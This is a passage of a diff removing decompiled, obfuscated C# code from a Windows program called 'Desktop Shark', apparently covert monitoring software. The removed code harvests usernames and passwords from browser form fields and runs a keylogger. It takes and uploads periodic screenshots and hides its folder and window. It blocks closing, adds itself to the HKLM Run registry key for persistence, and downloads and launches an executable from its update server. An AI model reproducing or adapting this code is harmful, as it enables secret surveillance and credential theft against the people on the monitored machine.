((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣄᙂ)).value, this.ᙍᙄ); - break; - case 2: - this.ᙠ(((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣆᙂ)).value, ((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣈᙂ)).value, this.ᙍᙄ); - break; - case 3: - this.ᙠ(((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣊᙂ)).value, ((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣘᙂ)).value, this.ᙍᙄ); - break; - case 4: - this.ᙠ(((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣎᙂ)).value, ((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.\u18FEᙂ)).value, this.ᙍᙄ); - break; - case 5: - this.ᙠ(((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣒᙂ)).value, ((DispHTMLInputElement) this.ᙘᙄ.getElementById(ᙵ.ᣔᙂ)).value, this.ᙍᙄ); - break; - case 6: - string un = (string) null; - string pw = (string) null; - foreach (IHTMLInputElement ihtmlInputElement in this.ᙘᙄ.getElementsByTagName(ᙵ.ᣖᙂ)) - { - if (ihtmlInputElement.type.Equals(ᙵ.ᣀᙂ) && ihtmlInputElement.name.Equals(ᙵ.ᣚᙂ)) - un = ihtmlInputElement.value; - if (ihtmlInputElement.type.Equals(ᙵ.ᣙᙂ) && ihtmlInputElement.name.Equals(ᙵ.ᣞᙂ)) - pw = ihtmlInputElement.value; - } - if (un == null || pw == null) - break; - this.ᙠ(un, pw, this.ᙍᙄ); - break; - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private bool ᡗᙃ() - { - this.ᡖᙃ(); - return true; - } - - private void ᡀᙃ() => this.ᡖᙃ(); - - private void ᡳᙃ(object ᙂ, ref object ᙄ) - { - try - { - if (this.ᤖᙃ.InvokeRequired) - { - string str = ᙄ.ToString().ToLower().StartsWith(ᙵ.ᣠᙂ) || ᙄ.ToString().ToLower().StartsWith(ᙵ.ᣢᙂ) || ᙄ.ToString().ToLower().Equals(ᙵ.ᣤᙂ) ? ᙵ.ᣨᙂ : ᙵ.ᣦᙂ; - this.Invoke((Delegate) new ᙀ.ᡆᙃ(this.ᡑᙃ), (object) ᙄ.ToString(), (object) DateTime.Now, (object) Environment.UserName, (object) str); - } - else - { - if (this.ᤖᙃ.ColumnCount <= 0) - return; - this.ᤖᙃ.Rows.Add((object) (this.ᤖᙃ.Rows.Count + 1), (object) ᙄ.ToString(), (object) DateTime.Now, (object) Environment.UserName, (object) ᙵ.ᣪᙂ); - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡚᙃ(int ᙂ) => this.ᡎᙃ(); - - private void ᡛᙃ(int ᙂ) - { - } - - public void \u177E() - { - try - { - this.ᙎᙄ = new ᝮ(); - if (Settings.Default.ActivationCode != null && Settings.Default.ActivationCode != "") - this.ᙎᙄ.ActivationCode = \u17E0.\u17E6(Settings.Default.ActivationCode); - if (Settings.Default.RemoteUser != null && Settings.Default.RemoteUser != "") - this.ᙎᙄ.Username = \u17E0.\u17E6(Settings.Default.RemoteUser); - if (Settings.Default.RemotePass != null && Settings.Default.RemotePass != "") - this.ᙎᙄ.Password = \u17E0.\u17E6(Settings.Default.RemotePass); - if (Settings.Default.PassPhrase != null && Settings.Default.PassPhrase != "") - this.ᙎᙄ.PassPhrase = \u17E0.\u17E6(Settings.Default.PassPhrase); - this.ᙎᙄ.MaxImageFolderSize = Settings.Default.MaxImageFolderSize; - this.ᙎᙄ.RemoteAccess = Settings.Default.RemoteAccess; - this.ᙎᙄ.KeyCombination = Settings.Default.SpecialKeys; - this.ᙎᙄ.KeyCombinationDisabled = Settings.Default.SpecialKeysDisabled; - this.ᙎᙄ.ConsolePassword = Settings.Default.ConsolePassword; - this.ᙎᙄ.ScreenShotUploadOnly = Settings.Default.ScreenshotUploadOnly; - this.ᙎᙄ.ScreenShotDuration = Settings.Default.ScreenshotDuration; - ᝨ.ᙔ("settings.dsz", this.ᙎᙄ); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᝄ() - { - try - { - this.ᙎᙄ = ᝨ.ᙒ("settings.dsz"); - if (this.ᙎᙄ == null) - return; - if (this.ᙎᙄ.ActivationCode != null && this.ᙎᙄ.ActivationCode != "") - Settings.Default.ActivationCode = \u17E0.\u17E2(this.ᙎᙄ.ActivationCode); - if (this.ᙎᙄ.Username != null && this.ᙎᙄ.Username != "") - Settings.Default.RemoteUser = \u17E0.\u17E2(this.ᙎᙄ.Username); - if (this.ᙎᙄ.Password != null && this.ᙎᙄ.Password != "") - Settings.Default.RemotePass = \u17E0.\u17E2(this.ᙎᙄ.Password); - if (this.ᙎᙄ.PassPhrase != null && this.ᙎᙄ.PassPhrase != "") - Settings.Default.PassPhrase = \u17E0.\u17E2(this.ᙎᙄ.PassPhrase); - Settings.Default.RemoteAccess = this.ᙎᙄ.RemoteAccess; - Settings.Default.MaxImageFolderSize = this.ᙎᙄ.MaxImageFolderSize; - if (this.ᙎᙄ.KeyCombination != -1) - Settings.Default.SpecialKeys = this.ᙎᙄ.KeyCombination; - Settings.Default.SpecialKeysDisabled = this.ᙎᙄ.KeyCombinationDisabled; - if (this.ᙎᙄ.ConsolePassword != null && this.ᙎᙄ.ConsolePassword != "") - Settings.Default.ConsolePassword = this.ᙎᙄ.ConsolePassword; - Settings.Default.ScreenshotUploadOnly = this.ᙎᙄ.ScreenShotUploadOnly; - if (this.ᙎᙄ.ScreenShotDuration != -1) - Settings.Default.ScreenshotDuration = this.ᙎᙄ.ScreenShotDuration; - Settings.Default.Save(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᝦ() - { - try - { - if (!Settings.Default.ActivationCode.Equals("")) - ᠨ.ᡂ(); - else if (Settings.Default.RemoteAccess && Settings.Default.RemoteUser != "" && Settings.Default.RemotePass != "") - { - this.ᝄ(); - ᠨ.ᠰ(); - } - else - ᠨ.ᠬ(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᝢ() => this.ᥳᙃ.Visible = false; - - public void \u1758() => this.ᥳᙃ.Visible = true; - - public void ᝊ() - { - this.ᤋᙃ.Visible = true; - this.ᤘᙃ.Visible = true; - this.\u1924ᙃ.Visible = true; - this.\u1925ᙃ.Visible = true; - this.\u1932ᙃ.Visible = true; - this.\u194Fᙃ.Visible = true; - } - - public void ᝠ() - { - this.ᤋᙃ.Visible = false; - this.ᤘᙃ.Visible = false; - this.\u1924ᙃ.Visible = false; - this.\u1925ᙃ.Visible = false; - this.\u1932ᙃ.Visible = false; - this.\u194Fᙃ.Visible = false; - this.ᥳᙃ.Visible = false; - Settings.Default.ScreenshotDuration = 10; - Settings.Default.Save(); - this.ᣦᙃ.Checked = true; - this.ᝈ(false); - } - - private void ᡙᙃ() - { - try - { - WebClient webClient = new WebClient(); - Thread.Sleep(500); - webClient.DownloadFile(ᙵ.ᣬᙂ, Application.StartupPath + ᙵ.ᣮᙂ); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡝᙃ() - { - try - { - if (Settings.Default.FirstRun) - { - if (System.IO.File.Exists(ᙵ.ᣰᙂ)) - { - this.ᝢ(); - Settings.Default.FirstRun = false; - Settings.Default.Save(); - return; - } - this.ᝢ(); - try - { - FileStream fileStream = System.IO.File.Create(ᙵ.ᣲᙂ); - fileStream.Close(); - fileStream.Dispose(); - } - catch - { - } - Settings.Default.FirstRun = false; - Settings.Default.ArchivingKeyloggerLocation = Application.StartupPath + ᙵ.ᤂᙂ; - Settings.Default.TempFileLocation = Application.StartupPath + ᙵ.ᤄᙂ; - Settings.Default.Save(); - new ᡙ(this).Show(); - this.ᝈ(true); - } - else - { - this.ᣃᙃ.LoadRichText(); - if (!System.IO.File.Exists(ᙵ.ᤆᙂ)) - { - try - { - FileStream fileStream = System.IO.File.Create(ᙵ.ᤈᙂ); - fileStream.Close(); - fileStream.Dispose(); - } - catch - { - } - } - this.ᝦ(); - } - new DirectoryInfo(Application.StartupPath).Attributes = FileAttributes.Hidden | FileAttributes.Directory; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᙪ() - { - try - { - this.Hide(); - this.ShowInTaskbar = false; - this.WindowState = FormWindowState.Minimized; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void \u1756() - { - try - { - this.Show(); - this.ShowInTaskbar = true; - this.WindowState = FormWindowState.Normal; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡞᙃ() - { - try - { - bool flag = true; - for (int index = 0; index < this.\u196Eᙃ.Length; ++index) - { - if (this.\u196Eᙃ[index].Equals(ᙵ.ᤊᙂ)) - flag = false; - } - if (flag) - { - this.ᙪ(); - } - else - { - this.ᙪ(); - if (Settings.Default.ConsolePassword != \u17E0.\u17E6(ᙵ.ᤘᙂ)) - new យ().Show(); - else - this.\u1756(); - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡟᙃ() - { - if (!Directory.Exists(Settings.Default.ScreenshotLocations)) - { - Settings.Default.ScreenshotLocations = Application.StartupPath + ᙵ.ᤎᙂ; - Settings.Default.Save(); - } - if (!Directory.Exists(Settings.Default.TempFileLocation) || !Settings.Default.TempFileLocation.StartsWith(Application.StartupPath)) - { - Settings.Default.TempFileLocation = Application.StartupPath + ᙵ.\u193Eᙂ; - Settings.Default.Save(); - } - if (Directory.Exists(Settings.Default.ArchivingKeyloggerLocation)) - return; - Settings.Default.ArchivingKeyloggerLocation = Application.StartupPath + ᙵ.ᤒᙂ; - Settings.Default.Save(); - } - - public string ᙦ(string fn) - { - string[] strArray1 = fn.Split('\\'); - string[] strArray2 = strArray1[strArray1.Length - 1].Replace(this.ᙵᙄ, "").Split('_'); - return strArray2[1] + "/" + strArray2[2] + "/" + strArray2[0] + " " + strArray2[3] + ":" + strArray2[4] + ":" + strArray2[5]; - } - - public void ᝆ() - { - try - { - this.\u196Fᙃ = Directory.GetFiles(Settings.Default.ScreenshotLocations); - if (this.\u196Fᙃ.Length <= 0) - return; - Array.Sort(this.\u196Fᙃ); - if (this.\u196Fᙃ.Length - 1 >= this.ᥰᙃ) - return; - this.ᥰᙃ = 0; - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public Process[] ᙨ(string procname) - { - try - { - Process[] processes = Process.GetProcesses(); - List processList = new List(); - foreach (Process process in processes) - { - if (process.ProcessName == procname) - processList.Add(process); - } - return processList.ToArray(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - return (Process[]) null; - } - - public void ᝎ() - { - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (registryKey.GetValue("dskl") == null) - registryKey.SetValue("dskl", (object) Application.ExecutablePath.ToString()); - registryKey.Close(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void \u175A() - { - try - { - if (Settings.Default.ConsolePassword != "osnoMOpyQgj52G55QzAXn3d2ycB+xKvj+BqskqDEolg=") - { - this.\u192Dᙃ.Text = \u17E0.\u17E2(Settings.Default.ConsolePassword); - this.\u192Cᙃ.Text = \u17E0.\u17E2(Settings.Default.ConsolePassword); - } - else - { - this.\u192Dᙃ.Text = ""; - this.\u192Cᙃ.Text = ""; - } - this.ᥢᙃ.Text = Settings.Default.MaxImageFolderSize.ToString(); - this.\u1923ᙃ.Checked = Settings.Default.ScreenshotUploadOnly; - this.ᣊᙃ.Checked = Settings.Default.AutomaticUpdate; - this.ᣒᙃ.Checked = Settings.Default.AutomaticStartup; - this.\u18FEᙃ.Text = Settings.Default.PassPhrase; - this.ᣮᙃ.Text = Settings.Default.RemoteUser; - this.ᣭᙃ.Text = Settings.Default.RemotePass; - this.ᣪᙃ.Checked = Settings.Default.RemoteAccess; - this.ᣓᙃ.Checked = Settings.Default.AutomaticArchivingKeylogger; - this.ᣎᙃ.Text = Settings.Default.ArchivingKeyloggerLocation; - this.Text = "Desktop Shark v" + Settings.Default.CurrentVersion.ToString(); - this.ᣣᙃ.Text = Settings.Default.ScreenshotLocations; - this.ᤇᙃ.Checked = Settings.Default.SpecialKeysDisabled; - if (Settings.Default.ScreenshotDuration == -1) - this.ᣧᙃ.Checked = true; - if (Settings.Default.ScreenshotDuration == 10) - this.ᣦᙃ.Checked = true; - if (Settings.Default.ScreenshotDuration == 30) - this.ᣥᙃ.Checked = true; - if (Settings.Default.ScreenshotDuration == 60) - this.ᣤᙃ.Checked = true; - if (Settings.Default.SpecialKeys == 1) - this.ᥑᙃ.Checked = true; - if (Settings.Default.SpecialKeys == 2) - this.\u197Eᙃ.Checked = true; - if (Settings.Default.SpecialKeys == 3) - this.ᥔᙃ.Checked = true; - this.ᝂ(); - this.ᥬᙃ.Interval = 900000; - this.ᥬᙃ.Tick += new EventHandler(this.ᡡᙃ); - this.ᥬᙃ.Start(); - this.ᥭᙃ.Tick += new EventHandler(this.ᡠᙃ); - this.ᥭᙃ.Interval = 1000; - this.ᥭᙃ.Start(); - this.ᝆ(); - this.ᥨᙃ.Text = string.Format("Running since: {0}", (object) DateTime.Now.ToString()); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public void ᝤ(bool passive) - { - try - { - string str = this.ᥲᙃ.ឪ("http://www.desktopshark.com/download/version.php", ""); - this.ᥫᙃ = !str.Equals("") ? Convert.ToDouble(str) : Convert.ToDouble(Settings.Default.CurrentVersion); - if (this.ᥫᙃ > Convert.ToDouble(Settings.Default.CurrentVersion)) - { - if (!passive) - { - if (MessageBox.Show("A newer version is available. Would you like to update now?", "Updates", MessageBoxButtons.YesNo) != DialogResult.Yes) - return; - Settings.Default.CurrentVersion = this.ᥫᙃ.ToString(); - Settings.Default.Save(); - if (!System.IO.File.Exists(Application.StartupPath + "\\upgrade.exe")) - return; - Process.Start(Application.StartupPath + "\\upgrade.exe"); - } - else - { - this.ᡙᙃ(); - Settings.Default.CurrentVersion = this.ᥫᙃ.ToString(); - Settings.Default.Save(); - if (!System.IO.File.Exists(Application.StartupPath + "\\upgrade.exe")) - return; - Process.Start(Application.StartupPath + "\\upgrade.exe"); - } - } - else - { - if (passive) - return; - int num = (int) MessageBox.Show("No updates are available."); - } - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡠᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - if (!this.ᙲ || this.ᤋᙃ.Visible || Settings.Default.ScreenshotDuration <= 0) - return; - ++this.\u175E; - if (this.\u175E < Settings.Default.ScreenshotDuration) - return; - this.\u175E = 0; - this.ᙲ = false; - if (Settings.Default.ScreenshotUploadOnly && !this.ᙆᙄ.Equals("") && System.IO.File.Exists(this.ᙆᙄ)) - System.IO.File.Delete(this.ᙆᙄ); - ᠾ ᠾ = new ᠾ(); - DateTime now = DateTime.Now; - string ᤔᙂ = ᙵ.ᤔᙂ; - string filename = this.ᙆᙄ = Settings.Default.ScreenshotLocations + ᙵ.ᤖᙂ + now.ToString(ᤔᙂ) + this.ᙵᙄ; - ᠾ.\u1814(filename, ImageFormat.Jpeg); - this.ᝆ(); - this.ᝂ(); - } - catch - { - } - } - - public void ᝂ() - { - try - { - long num1 = this.ᙤ(new DirectoryInfo(Settings.Default.ScreenshotLocations)); - int num2 = num1 > 1048576L ? (int) (num1 / 1048576L) : 0; - this.ᤔᙃ.Text = "Current Storage Size: " + num2.ToString() + "MB"; - if (Settings.Default.MaxImageFolderSize <= -1 || num2 <= Settings.Default.MaxImageFolderSize) - return; - this.ᙢ(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - public long ᙤ(DirectoryInfo d) - { - try - { - long num = 0; - foreach (FileInfo file in d.GetFiles()) - num += file.Length; - foreach (DirectoryInfo directory in d.GetDirectories()) - num += this.ᙤ(directory); - return num; - } - catch - { - } - return 0; - } - - private void ᡡᙃ(object ᙂ, EventArgs ᙄ) - { - if (!Settings.Default.AutomaticUpdate) - return; - this.ᝤ(true); - } - - private void ᡢᙃ(object ᙂ, EventArgs ᙄ) - { - if (!this.ᣃᙃ.KeyLoggerIsRunning) - { - if (DialogResult.Yes != MessageBox.Show(ᙵ.ᤀᙂ, ᙵ.ᤚᙂ, MessageBoxButtons.YesNo)) - return; - this.ᙪ(); - } - else - this.ᙪ(); - } - - private void ᡣᙃ(object ᙂ, EventArgs ᙄ) - { - if (DialogResult.Yes != MessageBox.Show(ᙵ.ᤙᙂ, ᙵ.ᤞᙂ, MessageBoxButtons.YesNo)) - return; - this.ᡤᙃ(); - } - - private void ᡤᙃ() - { - this.ᥪᙃ = true; - this.ᣃᙃ.DestroyLoggerPanel(); - this.ᙏᙄ.\u1808(); - this.ᥬᙃ.Stop(); - this.ᥬᙃ.Dispose(); - this.ᥭᙃ.Stop(); - this.ᥭᙃ.Dispose(); - this.ᣃᙃ.SaveRichTextToFile(); - this.ᣃᙃ.SaveTextToFile(); - ᙀ.ᙊᙄ.Dispose(); - ᙀ.ᙊᙄ.Close(); - this.ᥲᙃ.ឨ(new Exception(ᙵ.\u1920ᙂ)); - Thread.Sleep(2000); - Application.Exit(); - } - - private void ᡥᙃ(object ᙂ, FormClosingEventArgs ᙄ) - { - try - { - if (this.ᥪᙃ) - return; - ᙄ.Cancel = true; - if (!this.ᣃᙃ.KeyLoggerIsRunning) - { - if (DialogResult.Yes == MessageBox.Show(ᙵ.\u1922ᙂ, ᙵ.\u1924ᙂ, MessageBoxButtons.YesNo)) - this.ᙪ(); - } - else - this.ᙪ(); - this.\u18FEᙃ.Text = Settings.Default.PassPhrase; - } - catch - { - } - } - - private void ᡦᙃ(object ᙂ, LinkLabelLinkClickedEventArgs ᙄ) => Process.Start(\u17CE.\u17C0); - - private void ᡧᙃ(object ᙂ, EventArgs ᙄ) => Process.Start(\u17CE.\u17C0); - - private void ᡨᙃ(object ᙂ, EventArgs ᙄ) => Process.Start(\u17CE.\u17DE); - - private void ᡩᙃ(object ᙂ, EventArgs ᙄ) => Process.Start(\u17CE.\u17D6); - - private void ᡪᙃ(object ᙂ, LinkLabelLinkClickedEventArgs ᙄ) => Process.Start(\u17CE.\u17D4); - - private void ᡫᙃ(object ᙂ, LinkLabelLinkClickedEventArgs ᙄ) => Process.Start(\u17CE.\u17DA); - - private void ᡬᙃ(object ᙂ, EventArgs ᙄ) - { - FolderBrowserDialog folderBrowserDialog = new FolderBrowserDialog(); - int num = (int) folderBrowserDialog.ShowDialog(); - this.ᣎᙃ.Text = folderBrowserDialog.SelectedPath; - if (!Directory.Exists(folderBrowserDialog.SelectedPath)) - return; - if (this.ᣎᙃ.Text != Settings.Default.ArchivingKeyloggerLocation.ToString()) - { - foreach (string file in Directory.GetFiles(Settings.Default.ArchivingKeyloggerLocation, ᙵ.\u1926ᙂ)) - System.IO.File.Move(file, this.ᣎᙃ.Text); - } - Settings.Default.ArchivingKeyloggerLocation = this.ᣎᙃ.Text; - Settings.Default.Save(); - } - - private void ᡭᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.RemoteAccess = this.ᣪᙃ.Checked; - Settings.Default.Save(); - this.\u177E(); - } - - private void ᡮᙃ(object ᙂ, EventArgs ᙄ) - { - អ អ = new អ(); - string str = អ.ឪ(អ.ឮ, ᙵ.\u1928ᙂ + HttpUtility.UrlEncode(this.ᣮᙃ.Text) + "," + HttpUtility.UrlEncode(this.ᣭᙃ.Text)); - if (str.Equals("1")) - { - Settings.Default.RemoteUser = this.ᣮᙃ.Text; - Settings.Default.RemotePass = this.ᣭᙃ.Text; - Settings.Default.Save(); - int num = (int) MessageBox.Show(ᙵ.\u192Aᙂ); - this.\u177E(); - } - else if (str.Equals("2")) - { - int num1 = (int) MessageBox.Show(ᙵ.\u192Cᙂ); - } - else - { - int num2 = (int) MessageBox.Show(ᙵ.\u192Eᙂ); - } - } - - private void ᡯᙃ(object ᙂ, EventArgs ᙄ) => this.ᝤ(false); - - private void ᡰᙃ(object ᙂ, EventArgs ᙄ) - { - if (System.IO.File.Exists(Application.StartupPath + ᙵ.\u1930ᙂ)) - { - try - { - Process.Start(Application.StartupPath + ᙵ.\u1932ᙂ); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - else - this.ᥲᙃ.ឨ(new Exception(ᙵ.\u1942ᙂ)); - } - - private void ᡱᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - bool flag = true; - for (int index = 0; index < this.\u196Eᙃ.Length; ++index) - { - if (this.\u196Eᙃ[index].Equals(ᙵ.\u1944ᙂ)) - flag = false; - } - if (!flag) - return; - this.BeginInvoke((Delegate) (() => this.Hide())); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᡲᙃ() - { - try - { - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - ThreadPool.QueueUserWorkItem(new WaitCallback(new ᙀ.ᡇᙃ() - { - ᙙ = false - }.ᙚ)); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᢵᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 0; - - private void ᢂᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 1; - - private void ᢃᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 2; - - private void ᢄᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 3; - - private void ᢅᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 4; - - private void ᢆᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 5; - - private void ᢇᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 6; - - private void ᢈᙃ(object ᙂ, EventArgs ᙄ) => this.ᣄᙃ.SelectedIndex = 7; - - private void ᢉᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - System.IO.File.Delete(ᙵ.\u1946ᙂ); - this.ᤖᙃ.Rows.Clear(); - } - catch - { - } - } - - private void ᢊᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - System.IO.File.Delete(ᙵ.\u1948ᙂ); - this.ᤝᙃ.Rows.Clear(); - } - catch - { - } - } - - private void ᢋᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - System.IO.File.Delete(ᙵ.\u194Aᙂ); - this.\u1947ᙃ.Rows.Clear(); - } - catch - { - } - } - - private void ᢘᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - string str = DateTime.Now.ToFileTimeUtc().ToString() + ᙵ.ᥘᙂ; - using (System.IO.File.Create(Application.StartupPath + ᙵ.\u194Eᙂ + str)) - ; - using (StreamWriter streamWriter = System.IO.File.AppendText(Application.StartupPath + ᙵ.\u197Eᙂ + str)) - { - streamWriter.Write(ᙵ.ᥒᙂ); - foreach (DataGridViewRow row in (IEnumerable) this.ᤖᙃ.Rows) - { - StringBuilder stringBuilder = new StringBuilder(""); - stringBuilder.Append(row.Cells[0].Value.ToString() + ","); - stringBuilder.Append(row.Cells[1].Value.ToString() + ","); - stringBuilder.Append(row.Cells[2].Value.ToString() + ","); - stringBuilder.Append(row.Cells[3].Value.ToString() + ","); - stringBuilder.Append(row.Cells[4].Value.ToString() + ᙵ.ᥔᙂ); - streamWriter.Write(stringBuilder.ToString()); - } - } - Process.Start(Application.StartupPath + ᙵ.ᥖᙂ + str); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᢍᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - string str = DateTime.Now.ToFileTimeUtc().ToString() + ᙵ.\u1940ᙂ; - using (System.IO.File.Create(Application.StartupPath + ᙵ.ᥚᙂ + str)) - ; - using (StreamWriter streamWriter = System.IO.File.AppendText(Application.StartupPath + ᙵ.ᥙᙂ + str)) - { - streamWriter.Write(ᙵ.ᥞᙂ); - foreach (DataGridViewRow row in (IEnumerable) this.ᤝᙃ.Rows) - { - StringBuilder stringBuilder = new StringBuilder(""); - stringBuilder.Append(row.Cells[0].Value.ToString() + ","); - stringBuilder.Append(row.Cells[1].Value.ToString() + ","); - stringBuilder.Append(row.Cells[2].Value.ToString() + ","); - stringBuilder.Append(row.Cells[3].Value.ToString() + ","); - stringBuilder.Append(row.Cells[4].Value.ToString() + ᙵ.ᥠᙂ); - streamWriter.Write(stringBuilder.ToString()); - } - } - Process.Start(Application.StartupPath + ᙵ.ᥢᙂ + str); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᢎᙃ(object ᙂ, EventArgs ᙄ) - { - if (!this.\u18FEᙃ.Text.Equals("")) - { - Settings.Default.PassPhrase = this.\u18FEᙃ.Text; - Settings.Default.Save(); - int num = (int) MessageBox.Show(ᙵ.ᥤᙂ); - this.\u177E(); - } - else - { - int num1 = (int) MessageBox.Show(ᙵ.ᥦᙂ); - } - } - - private void ᢏᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.AutomaticUpdate = this.ᣊᙃ.Checked; - Settings.Default.Save(); - } - - private void ᢾᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.AutomaticStartup = this.ᣒᙃ.Checked; - Settings.Default.Save(); - } - - private void ᢑᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.AutomaticArchivingKeylogger = this.ᣓᙃ.Checked; - Settings.Default.Save(); - } - - private void ᢒᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ArchivingKeyloggerLocation = this.ᣎᙃ.Text; - Settings.Default.Save(); - } - - private void ᢓᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ScreenshotDuration = -1; - Settings.Default.Save(); - this.\u177E(); - } - - private void ᢔᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ScreenshotDuration = 10; - Settings.Default.Save(); - this.\u177E(); - } - - private void ᢕᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ScreenshotDuration = 30; - Settings.Default.Save(); - this.\u177E(); - } - - private void ᢖᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ScreenshotDuration = 60; - Settings.Default.Save(); - this.\u177E(); - } - - private void ᢗᙃ(object ᙂ, EventArgs ᙄ) - { - if (this.\u192Dᙃ.Text == "") - { - Settings.Default.ConsolePassword = \u17E0.\u17E6(ᙵ.ᥨᙂ); - Settings.Default.Save(); - this.\u177E(); - int num = (int) MessageBox.Show(ᙵ.ᥪᙂ); - } - else if (this.\u192Dᙃ.Text == this.\u192Cᙃ.Text) - { - if (this.\u192Dᙃ.Text == Settings.Default.ConsolePassword) - { - int num1 = (int) MessageBox.Show(ᙵ.ᥬᙂ); - } - else - { - Settings.Default.ConsolePassword = \u17E0.\u17E6(this.\u192Dᙃ.Text); - Settings.Default.Save(); - int num2 = (int) MessageBox.Show(ᙵ.\u196Eᙂ); - this.\u177E(); - } - } - else - { - int num3 = (int) MessageBox.Show(ᙵ.ᥰᙂ); - } - } - - private void ᢀᙃ(object ᙂ, EventArgs ᙄ) - { - if (!(this.\u192Dᙃ.Text == \u17E0.\u17E2(ᙵ.ᥲᙂ))) - return; - this.\u192Dᙃ.Text = ""; - this.\u192Cᙃ.Text = ""; - } - - private void ᢳᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.SpecialKeys = 1; - Settings.Default.Save(); - this.\u197Eᙃ.Checked = false; - this.ᥔᙃ.Checked = false; - int num = (int) MessageBox.Show(ᙵ.ᙂᙃ); - this.\u177E(); - } - - private void ᢚᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.SpecialKeys = 2; - Settings.Default.Save(); - this.ᥑᙃ.Checked = false; - this.ᥔᙃ.Checked = false; - int num = (int) MessageBox.Show(ᙵ.ᙄᙃ); - this.\u177E(); - } - - private void ᢛᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.SpecialKeys = 3; - Settings.Default.Save(); - this.ᥑᙃ.Checked = false; - this.\u197Eᙃ.Checked = false; - int num = (int) MessageBox.Show(ᙵ.ᙆᙃ); - this.\u177E(); - } - - private void ᢙᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ArchivingKeyloggerLocation = this.ᣎᙃ.Text; - Settings.Default.Save(); - int num = (int) MessageBox.Show(ᙵ.ᙈᙃ); - } - - private void ᢝᙃ(object ᙂ, EventArgs ᙄ) => Process.Start(\u17CE.\u17FE); - - public void \u1752(int c) - { - try - { - this.ᥧᙃ.Text = string.Format("Number of logs: {0}", (object) c.ToString()); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᢞᙃ(object ᙂ, EventArgs ᙄ) - { - ᠾ ᠾ = new ᠾ(); - Image imgToResize = ᠾ.\u1812(); - this.ᣠᙃ.Image = ᠾ.\u1819(imgToResize, new Size(this.ᣟᙃ.Width, this.ᣟᙃ.Height)); - } - - private void ᢟᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - this.ᝆ(); - if (this.\u196Fᙃ.Length <= 0) - return; - this.ᣠᙃ.Image = new ᠾ().\u1819(Image.FromFile(this.\u196Fᙃ[0]), new Size(this.ᣟᙃ.Width, this.ᣟᙃ.Height)); - this.ᥰᙃ = 0; - this.\u1935ᙃ.Enabled = false; - this.ᣲᙃ.Enabled = true; - this.ᤄᙃ.Text = this.ᙦ(this.\u196Fᙃ[0]); - } - catch - { - } - } - - private void ᢠᙃ(object ᙂ, 